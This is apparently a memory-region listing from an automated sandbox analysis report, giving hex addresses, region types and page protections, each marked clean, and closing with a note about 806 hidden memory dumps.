2DA000
stack
page read and write
clean
26FD000
stack
page read and write
clean
308F000
unkown
page read and write
clean
330000
unkown
page readonly
clean
1F0000
heap private
page read and write
clean
2840000
unkown
page read and write
clean
A0000
unkown
page readonly
clean
1C0000
unkown
page execute and read and write
clean
36CB000
unkown
page read and write
clean
1B0000
heap private
page read and write
clean
27A000
stack
page read and write
clean
2BDE000
unkown
page read and write | page guard
clean
7C4000
heap private
page read and write
clean
20000
unkown
page readonly
clean
1A0000
unkown
page read and write
clean
27B000
unkown
page read and write
clean
370000
unkown
page read and write
clean
369F000
unkown
page read and write
clean
2FF4000
unkown
page read and write
clean
790000
unkown
page readonly
clean
3093000
unkown
page read and write
clean
276E000
unkown
page read and write
clean
307A000
unkown
page read and write
clean
8EF000
stack
page read and write
clean
23F000
unkown
page execute and read and write
clean
1CA0000
unkown
page readonly
clean
2C7D000
stack
page read and write
clean
2840000
unkown
page read and write
clean
7E2000
heap private
page read and write
clean
30C6000
unkown
page read and write
clean
3E0000
heap private
page read and write
clean
6A4000
heap default
page read and write
clean
1B970000
unkown
page read and write
clean
4C2000
heap default
page read and write
clean
A0000
unkown
page read and write
clean
73F000
heap default
page read and write
clean
FA000
stack
page read and write
clean
454000
unkown
page read and write
clean
2EB0000
heap private
page read and write
clean
A0000
unkown
page read and write
clean
130000
unkown
page readonly
clean
48D000
heap default
page read and write
clean
A70000
heap private
page read and write
clean
2CB0000
heap private
page read and write
clean
27A0000
unkown
page readonly
clean
370000
unkown
page read and write
clean
517000
heap default
page read and write
clean
547000
heap default
page read and write
clean
5B0000
unkown
page readonly
clean
900000
unkown
page readonly
clean
34EB000
unkown
page read and write
clean
9F8000
heap private
page read and write
clean
260000
unkown
page read and write
clean
410000
unkown
page read and write
clean
A0000
unkown
page read and write
clean
404000
heap default
page read and write
clean
3172000
unkown
page read and write
clean
1EF0000
heap private
page execute and read and write
clean
6A0000
unkown
page readonly
clean
560000
heap private
page read and write
clean
2B70000
unkown
page readonly
clean
277C000
unkown
page readonly
clean
610000
unkown
page readonly
clean
4ED000
heap default
page read and write
clean
2840000
unkown
page read and write
clean
44F000
unkown
page read and write
clean
3CE000
heap default
page read and write
clean
2220000
heap private
page read and write
clean
140000
unkown
page execute and read and write
clean
10000000
unkown
page execute and read and write
clean
64E000
unkown
page read and write
clean
2CB0000
unkown
page readonly
clean
2260000
heap private
page read and write
clean
7FF00200000
unkown
page read and write
clean
2C3D000
stack
page read and write
clean
3C70000
unkown
page read and write
clean
170000
unkown
page readonly
clean
D30000
unkown
page readonly
clean
7FF00180000
unkown
page execute and read and write
clean
5C4000
heap default
page read and write
clean
24B000
unkown
page read and write
clean
10000000
unkown
page execute and read and write
clean
23E0000
unkown
page readonly
clean
150000
unkown
page read and write
clean
16A000
stack
page read and write
clean
D20000
heap private
page read and write
clean
59D000
unkown
page read and write
clean
2E5E000
stack
page read and write
clean
2780000
unkown
page readonly
clean
E0000
unkown
page read and write
clean
27EE000
unkown
page read and write
clean
277000
heap default
page read and write
clean
311C000
unkown
page read and write
clean
557000
heap default
page read and write
clean
32E000
stack
page read and write
clean
C0000
unkown
page readonly
clean
2D9F000
stack
page read and write
clean
3105000
unkown
page read and write
clean
2A60000
unkown
page readonly
clean
1C9C3000
heap private
page read and write
clean
220000
heap private
page read and write
clean
20F0000
unkown
page readonly
clean
270000
unkown
page execute and read and write
clean
3D28000
unkown
page read and write
clean
250000
unkown
page execute and read and write
clean
2880000
unkown
page readonly
clean
236E000
unkown
page read and write
clean
1DB4000
heap private
page read and write
clean
1B0000
unkown
page execute and read and write
clean
1B580000
unkown
page read and write
clean
6B0000
heap private
page read and write
clean
36B8000
unkown
page read and write
clean
310F000
unkown
page read and write
clean
28DA000
unkown
page read and write
clean
609000
heap default
page read and write
clean
2380000
unkown
page readonly
clean
625000
heap default
page read and write
clean
534000
heap default
page read and write
clean
7FF001C0000
unkown
page read and write
clean
180000
heap private
page read and write
clean
270000
unkown
page write copy
clean
10000000
unkown
page execute and read and write
clean
36BE000
unkown
page read and write
clean
2100000
heap private
page read and write
clean
27C0000
unkown
page readonly
clean
7A0000
unkown
page readonly
clean
15C000
unkown
page read and write
clean
618000
heap default
page read and write
clean
ABF000
unkown
page read and write
clean
2A90000
unkown
page read and write
clean
2FC0000
heap private
page read and write
clean
2840000
unkown
page read and write
clean
620000
unkown
page readonly
clean
310000
heap private
page read and write
clean
110000
unkown
page read and write
clean
2CAE000
unkown
page read and write
clean
1C0000
unkown
page execute and read and write
clean
12EB1000
unkown
page read and write
clean
940000
unkown
page read and write
clean
3175000
unkown
page read and write
clean
73C000
heap default
page read and write
clean
300000
unkown
page readonly
clean
1BB50000
heap private
page read and write
clean
1B583000
unkown
page read and write
clean
5FE000
unkown
page read and write
clean
245F000
unkown
page read and write
clean
22F000
unkown
page execute and read and write
clean
31E000
heap default
page read and write
clean
2A0000
heap private
page read and write
clean
3004000
unkown
page read and write
clean
340000
heap default
page read and write
clean
10000000
unkown
page execute and read and write
clean
4C0000
unkown
page readonly
clean
3627000
unkown
page read and write
clean
110000
unkown
page read and write
clean
23FF000
unkown
page read and write
clean
2840000
unkown
page read and write
clean
2CB7000
heap private
page read and write
clean
3253000
unkown
page read and write
clean
450000
heap default
page read and write
clean
330000
unkown
page readonly
clean
1A0000
unkown
page execute and read and write
clean
180000
unkown
page execute and read and write
clean
2840000
unkown
page read and write
clean
7FF0003A000
unkown
page execute and read and write
clean
7FF00032000
unkown
page execute and read and write
clean
2350000
unkown
page read and write
clean
1FD0000
unkown
page readonly
clean
21E0000
unkown
page readonly
clean
12FF0000
unkown
page read and write
clean
51D000
stack
page read and write
clean
24EE000
stack
page read and write
clean
2030000
heap private
page read and write
clean
170000
unkown
page readonly
clean
36B5000
unkown
page read and write
clean
28C0000
unkown
page read and write
clean
6CF000
heap default
page read and write
clean
24B0000
unkown
page readonly
clean
3016000
unkown
page read and write
clean
474000
heap default
page read and write
clean
35DC000
unkown
page read and write
clean
5A3000
unkown
page read and write
clean
241F000
stack
page read and write
clean
43F000
stack
page read and write
clean
1DF000
unkown
page execute and read and write
clean
1FF000
unkown
page execute and read and write
clean
37D000
heap default
page read and write
clean
2E0000
heap default
page read and write
clean
375F000
unkown
page read and write
clean
2E0E000
unkown
page read and write
clean
6D3000
heap default
page read and write
clean
310000
unkown
page readonly
clean
1EF7000
unkown
page readonly
clean
5C0000
unkown
page readonly
clean
2640000
unkown
page readonly
clean
9A000
stack
page read and write
clean
1C95E000
unkown
page read and write
clean
1DF000
unkown
page execute and read and write
clean
2E0000
unkown
page readonly
clean
330000
heap private
page read and write
clean
7FF001A0000
unkown
page read and write
clean
2BE000
unkown
page read and write
clean
684000
heap default
page read and write
clean
28A0000
heap private
page read and write
clean
10000000
unkown image
page readonly
clean
27A0000
unkown
page readonly
clean
69D000
heap default
page read and write
clean
2D6E000
stack
page read and write
clean
311F000
unkown
page read and write
clean
440000
unkown
page readonly
clean
2D2E000
stack
page read and write
clean
634000
heap default
page read and write
clean
290000
unkown
page readonly
clean
10000000
unkown image
page readonly
clean
2840000
unkown
page read and write
clean
2DA1000
unkown
page read and write
clean
10000000
unkown
page execute and read and write
clean
230E000
stack
page read and write
clean
800000
heap private
page read and write
clean
1E0000
unkown
page execute and read and write
clean
380000
heap default
page read and write
clean
2370000
unkown
page readonly
clean
3165000
unkown
page read and write
clean
2E0000
unkown
page readonly
clean
10000000
unkown
page execute and read and write
clean
37C2000
unkown
page read and write
clean
22C2000
heap private
page read and write
clean
10000000
unkown image
page readonly
clean
54D000
heap default
page read and write
clean
21E0000
heap private
page read and write
clean
2C0E000
stack
page read and write
clean
2160000
heap private
page read and write
clean
2C30000
unkown
page readonly
clean
2E2000
heap private
page read and write
clean
2780000
unkown
page readonly
clean
2270000
unkown
page readonly
clean
850000
heap private
page read and write
clean
36BB000
unkown
page read and write
clean
430000
unkown
page readonly
clean
286D000
unkown
page read and write
clean
335D000
unkown
page read and write
clean
20000
unkown
page readonly
clean
2840000
unkown
page read and write
clean
9E0000
heap private
page read and write
clean
2840000
unkown
page read and write
clean
370000
unkown
page read and write
clean
2F0000
unkown
page readonly
clean
2E04000
unkown
page read and write
clean
1B8000
heap private
page read and write
clean
331F000
unkown
page read and write
clean
540000
heap private
page read and write
clean
32BD000
unkown
page read and write
clean
255E000
unkown
page read and write
clean
7EFDF000
unkown
page read and write
clean
1BF0000
unkown
page readonly
clean
2D20000
heap private
page execute and read and write
clean
460000
heap default
page read and write
clean
30D8000
unkown
page read and write
clean
29F000
unkown
page execute and read and write
clean
6FC000
heap default
page read and write
clean
7EFDF000
unkown
page read and write
clean
7FF001E0000
unkown
page read and write
clean
7FF00105000
unkown
page read and write
clean
100000
unkown
page readonly
clean
1CAF0000
heap private
page read and write
clean
1C9B0000
heap private
page read and write
clean
7EFDF000
unkown
page read and write
clean
1BAD0000
heap private
page read and write
clean
100000
unkown
page read and write
clean
36A2000
unkown
page read and write
clean
309C000
unkown
page read and write
clean
12F11000
unkown
page read and write
clean
1001F000
unkown
page execute and read and write
clean
2DD6000
unkown
page read and write
clean
13052000
unkown
page read and write
clean
360000
heap default
page read and write
clean
270000
heap private
page read and write
clean
30D3000
unkown
page read and write
clean
24D0000
unkown
page readonly
clean
60000
unkown
page readonly
clean
2D4E000
unkown
page read and write
clean
2840000
unkown
page read and write
clean
36E1000
unkown
page read and write
clean
3020000
unkown
page read and write
clean
21B000
unkown
page read and write
clean
88E000
unkown
page read and write
clean
2C1E000
stack
page read and write
clean
7EFDF000
unkown
page read and write
clean
30F4000
unkown
page read and write
clean
43E000
stack
page read and write
clean
314D000
unkown
page read and write
clean
10000000
unkown image
page readonly
clean
7EFDF000
unkown
page read and write
clean
820000
unkown
page readonly
clean
3B3000
heap default
page read and write
clean
3023000
unkown
page read and write
clean
4C4000
heap private
page read and write
clean
350000
heap private
page read and write
clean
28CA000
unkown
page read and write
clean
2C2000
heap private
page read and write
clean
32F9000
unkown
page read and write
clean
2840000
unkown
page read and write
clean
343000
heap default
page read and write
clean
1EE0000
unkown
page readonly
clean
A8E000
stack
page read and write
clean
579000
heap default
page read and write
clean
3C3000
heap default
page read and write
clean
E0000
unkown
page read and write
clean
7FF000F0000
unkown
page read and write
clean
20000
unkown
page readonly
clean
221F000
stack
page read and write
clean
2770000
unkown
page readonly
clean
E0000
unkown
page readonly
clean
2960000
unkown
page read and write
clean
20000
heap private
page read and write
clean
527000
heap default
page read and write
clean
A0000
unkown
page readonly
clean
D27000
heap private
page read and write
clean
3FD000
stack
page read and write
clean
26A000
stack
page read and write
clean
AF0000
heap private
page read and write
clean
FB000
unkown
page read and write
clean
4E0000
unkown
page readonly
clean
30E3000
unkown
page read and write
clean
2530000
unkown
page readonly
clean
2840000
unkown
page readonly
clean
4C0000
heap private
page read and write
clean
170000
unkown
page readonly
clean
1BC000
unkown
page read and write
clean
30C0000
unkown
page read and write
clean
2840000
unkown
page read and write
clean
650000
unkown
page readonly
clean
1B470000
unkown
page read and write
clean
30FA000
unkown
page read and write
clean
F0000
unkown
page write copy
clean
1AE00000
unkown
page read and write
clean
5D0000
heap default
page read and write
clean
3BD000
unkown
page read and write
clean
1001F000
unkown
page execute and read and write
clean
7FF00220000
unkown
page execute and read and write
clean
B0E000
unkown
page read and write
clean
2D0000
heap private
page read and write
clean
707000
heap default
page read and write
clean
30A7000
unkown
page read and write
clean
2A2D000
unkown
page read and write
clean
2E0000
heap default
page read and write
clean
20000
unkown
page readonly
clean
2510000
unkown
page readonly
clean
32F6000
unkown
page read and write
clean
3B0000
heap default
page read and write
clean
34E000
unkown
page read and write
clean
7FF00042000
unkown
page execute and read and write
clean
2840000
unkown
page read and write
clean
7FE000
stack
page read and write
clean
2D4000
heap private
page read and write
clean
23F000
unkown
page execute and read and write
clean
26BE000
unkown
page read and write
clean
2FF1000
unkown
page read and write
clean
2C5C000
unkown
page read and write
clean
10000000
unkown
page execute and read and write
clean
84F000
stack
page read and write
clean
340000
unkown
page readonly
clean
470000
unkown
page readonly
clean
790000
unkown
page readonly
clean
3689000
unkown
page read and write
clean
58E000
heap default
page read and write
clean
CF2000
heap private
page read and write
clean
2D0000
heap private
page read and write
clean
2CB4000
heap private
page read and write
clean
1EF000
unkown
page execute and read and write
clean
206B000
heap private
page read and write
clean
2DBE000
stack
page read and write
clean
2C40000
unkown
page write copy
clean
7FF000F2000
unkown
page execute and read and write
clean
7FF00132000
unkown
page execute and read and write
clean
2B0000
unkown
page readonly
clean
610000
heap default
page read and write
clean
3D22000
unkown
page read and write
clean
20000
unkown
page readonly
clean
260000
unkown
page readonly
clean
1B5F0000
unkown
page read and write
clean
457000
heap default
page read and write
clean
660000
unkown
page readonly
clean
20000
heap private
page read and write
clean
2320000
unkown
page write copy
clean
279D000
unkown
page read and write
clean
2CAC000
unkown
page read and write
clean
2AE000
heap default
page read and write
clean
1A0000
heap default
page read and write
clean
1D0000
heap private
page read and write
clean
180000
unkown
page execute and read and write
clean
279B000
unkown
page readonly
clean
3122000
unkown
page read and write
clean
900000
heap private
page read and write
clean
36E4000
unkown
page read and write
clean
220000
unkown
page execute and read and write
clean
30A0000
unkown
page read and write
clean
7EFDF000
unkown
page read and write
clean
390000
heap default
page read and write
clean
7FF001D0000
unkown
page execute and read and write
clean
1DC0000
unkown
page readonly
clean
130000
unkown
page readonly
clean
7A0000
unkown
page readonly
clean
30DF000
unkown
page read and write
clean
2C3C000
unkown
page read and write
clean
230000
heap private
page read and write
clean
3101000
unkown
page read and write
clean
3B41000
unkown
page read and write
clean
3075000
unkown
page read and write
clean
2D70000
unkown
page write copy
clean
B9E000
unkown
page read and write
clean
1E57000
unkown
page readonly
clean
597000
unkown
page read and write
clean
20000
unkown
page readonly
clean
59E000
heap default
page read and write
clean
890000
unkown
page readonly
clean
647000
heap default
page read and write
clean
2C4000
heap private
page read and write
clean
2840000
unkown
page read and write
clean
2BE0000
unkown
page write copy
clean
2400000
unkown
page readonly
clean
2FFA000
unkown
page read and write
clean
7FF00230000
unkown
page read and write
clean
550000
unkown
page readonly
clean
3C4A000
unkown
page read and write
clean
10000000
unkown
page execute and read and write
clean
2BDF000
unkown
page read and write
clean
12DA1000
unkown
page read and write
clean
170000
unkown
page readonly
clean
2202000
heap private
page read and write
clean
347000
heap default
page read and write
clean
1C70000
unkown
page readonly
clean
3A6000
unkown
page read and write
clean
380000
unkown
page read and write
clean
2460000
unkown
page readonly
clean
7FF00265000
unkown
page execute and read and write
clean
12DA5000
unkown
page read and write
clean
3C0000
heap default
page read and write
clean
D0000
unkown
page readonly
clean
2200000
heap private
page read and write
clean
1001F000
unkown
page execute and read and write
clean
180000
unkown
page execute and read and write
clean
6D0000
heap default
page read and write
clean
36EA000
unkown
page read and write
clean
C4E000
unkown
page read and write
clean
273E000
stack
page read and write
clean
220000
unkown
page execute and read and write
clean
10000000
unkown image
page readonly
clean
560000
unkown
page readonly
clean
5A3000
heap default
page read and write
clean
1C0000
unkown
page execute and read and write
clean
277E000
stack
page read and write
clean
2D8E000
unkown
page read and write
clean
1001F000
unkown
page execute and read and write
clean
544000
heap default
page read and write
clean
1A0000
unkown
page execute and read and write
clean
1CF0000
unkown
page readonly
clean
24AF000
stack
page read and write
clean
7C0000
heap private
page read and write
clean
350000
unkown
page readonly
clean
1E6000
unkown
page read and write
clean
3010000
unkown
page read and write
clean
2D4000
heap private
page read and write
clean
28C4000
unkown
page read and write
clean
170000
unkown
page readonly
clean
20B0000
unkown
page readonly
clean
20AE000
stack
page read and write
clean
5A0000
heap default
page read and write
clean
357000
heap default
page read and write
clean
2D6E000
unkown
page read and write
clean
697000
heap default
page read and write
clean
15B000
unkown
page read and write
clean
487000
heap default
page read and write
clean
210000
unkown
page readonly
clean
2320000
unkown
page read and write
clean
2C2D000
stack
page read and write
clean
20D0000
unkown
page read and write
clean
280000
unkown
page read and write
clean
7FF001B0000
unkown
page execute and read and write
clean
710000
unkown
page readonly
clean
3039000
unkown
page read and write
clean
594000
unkown
page read and write
clean
377000
heap default
page read and write
clean
290000
heap private
page read and write
clean
1D60000
unkown
page readonly
clean
1ED7000
unkown
page readonly
clean
230C000
unkown
page read and write
clean
1001F000
unkown
page execute and read and write
clean
2317000
unkown
page readonly
clean
96E000
unkown
page read and write
clean
21E4000
heap private
page read and write
clean
6D7000
heap default
page read and write
clean
340000
unkown
page readonly
clean
2270000
unkown
page readonly
clean
5DD000
heap default
page read and write
clean
3C5C000
unkown
page read and write
clean
1C7DE000
unkown
page read and write
clean
667000
heap default
page read and write
clean
2B70000
unkown
page write copy
clean
7FFFFF00000
unkown
page execute and read and write
clean
BC0000
heap private
page read and write
clean
238000
heap private
page read and write
clean
270C000
unkown
page read and write
clean
B70000
heap private
page read and write
clean
1001F000
unkown
page execute and read and write
clean
26B000
unkown
page read and write
clean
310000
unkown
page readonly
clean
3248000
unkown
page read and write
clean
2840000
unkown
page read and write
clean
2C4E000
unkown
page read and write
clean
760000
unkown
page readonly
clean
642000
heap default
page read and write
clean
2840000
unkown
page read and write
clean
1F0000
unkown
page read and write
clean
7FF002A0000
unkown
page execute and read and write
clean
5A6000
unkown
page read and write
clean
A90000
unkown
page write copy
clean
510000
heap default
page read and write
clean
322D000
unkown
page read and write
clean
196000
unkown
page read and write
clean
69D000
heap default
page read and write
clean
218E000
stack
page read and write
clean
1FA7000
unkown
page readonly
clean
2D0000
unkown
page readonly
clean
AA000
stack
page read and write
clean
7FF0010A000
unkown
page execute and read and write
clean
D0000
unkown
page execute and read and write
clean
2710000
unkown
page readonly
clean
7AF000
stack
page read and write
clean
2240000
unkown
page readonly
clean
260000
unkown
page readonly
clean
7FF00210000
unkown
page read and write
clean
3E8000
heap private
page read and write
clean
7FF00240000
unkown
page execute and read and write
clean
450000
unkown
page readonly
clean
300000
unkown
page readonly
clean
317000
heap default
page read and write
clean
304000
heap default
page read and write
clean
30ED000
unkown
page read and write
clean
7FF002B0000
unkown
page execute and read and write
clean
570000
unkown
page readonly
clean
1D80000
unkown
page read and write
clean
D0000
unkown
page readonly
clean
7FF00270000
unkown
page execute and read and write
clean
210000
unkown
page readonly
clean
440000
heap private
page read and write
clean
683000
heap default
page read and write
clean
2FD0000
unkown
page readonly
clean
2B0000
unkown
page readonly
clean
10000000
unkown image
page readonly
clean
1C0000
unkown
page readonly
clean
688000
heap default
page read and write
clean
4BE000
heap default
page read and write
clean
6CF000
stack
page read and write
clean
2840000
unkown
page read and write
clean
2F2000
heap private
page read and write
clean
298000
heap private
page read and write
clean
2CCE000
stack
page read and write
clean
3146000
unkown
page read and write
clean
1F47000
unkown
page readonly
clean
22A4000
heap private
page read and write
clean
742000
heap default
page read and write
clean
2C8D000
stack
page read and write
clean
290000
unkown
page readonly
clean
7EFDF000
unkown
page read and write
clean
2D7E000
unkown
page read and write
clean
35B3000
unkown
page read and write
clean
7FF001F0000
unkown
page execute and read and write
clean
1E00000
unkown
page readonly
clean
3E0000
unkown
page readonly
clean
36A8000
unkown
page read and write
clean
200000
unkown
page execute and read and write
clean
140000
unkown
page readonly
clean
274C000
unkown
page read and write
clean
2C40000
heap private
page read and write
clean
640000
unkown
page readonly
clean
CD4000
heap private
page read and write
clean
2BBD000
stack
page read and write
clean
2840000
unkown
page read and write
clean
2DD2000
unkown
page read and write
clean
4D0000
unkown
page readonly
clean
28F000
unkown
page execute and read and write
clean
160000
unkown
page read and write
clean
24CF000
stack
page read and write
clean
42D000
unkown
page read and write
clean
2C0000
unkown
page readonly
clean
2840000
unkown
page read and write
clean
10000000
unkown image
page readonly
clean
2FF7000
unkown
page read and write
clean
3013000
unkown
page read and write
clean
3C0000
unkown
page readonly
clean
9F0000
heap private
page read and write
clean
30CD000
unkown
page read and write
clean
2C90000
unkown
page write copy
clean
320000
heap default
page read and write
clean
2160000
unkown
page read and write
clean
2080000
unkown
page readonly
clean
270E000
stack
page read and write
clean
3D1C000
unkown
page read and write
clean
320000
unkown
page readonly
clean
84C000
unkown
page read and write
clean
7FF00100000
unkown
page read and write
clean
There are 806 hidden memdumps, click here to show them.